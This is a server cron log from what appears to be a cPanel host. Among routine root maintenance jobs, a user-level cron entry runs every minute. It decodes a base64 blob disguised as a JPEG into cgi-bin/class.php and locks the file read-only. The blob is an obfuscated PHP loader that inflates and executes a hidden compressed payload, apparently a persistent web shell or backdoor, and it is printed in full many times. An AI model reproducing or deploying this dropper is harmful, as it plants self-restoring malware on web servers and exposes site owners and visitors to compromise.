Aug 30 13:05:01 server CROND[19702]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 13:05:01 server CROND[19701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:05:01 server CROND[19706]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 13:05:01 server CROND[19708]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 13:05:01 server CROND[19712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:05:01 server CROND[19709]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 13:05:01 server CROND[19707]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:06:01 server CROND[20625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:06:01 server CROND[20626]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:06:01 server CROND[20627]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:07:01 server CROND[21087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:07:01 server CROND[21089]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:07:01 server CROND[21088]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:08:01 server CROND[21566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:08:01 server CROND[21567]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:08:01 server CROND[21568]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:09:01 server CROND[21964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:09:01 server CROND[21965]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:09:01 server CROND[21967]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 13:09:01 server CROND[21966]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:10:01 server CROND[22528]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:10:01 server CROND[22529]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 13:10:01 server CROND[22531]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 13:10:01 server CROND[22534]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 13:10:01 server CROND[22532]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 13:10:01 server CROND[22533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:10:01 server CROND[22543]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 13:10:01 server CROND[22542]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:11:01 server CROND[23520]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:11:01 server CROND[23521]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:11:01 server CROND[23523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:12:01 server CROND[23921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:12:01 server CROND[23922]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:12:01 server CROND[23923]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 13:12:01 server CROND[23920]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:13:01 server CROND[24423]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:13:01 server CROND[24424]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:13:01 server CROND[24425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:14:01 server CROND[24810]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:14:01 server CROND[24812]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:14:01 server CROND[24811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:15:01 server CROND[25243]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:15:01 server CROND[25246]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 13:15:01 server CROND[25247]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 13:15:01 server CROND[25245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:15:01 server CROND[25248]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:15:01 server CROND[25253]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 13:15:01 server CROND[25254]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 13:15:01 server CROND[25252]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 30 13:16:01 server CROND[26095]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
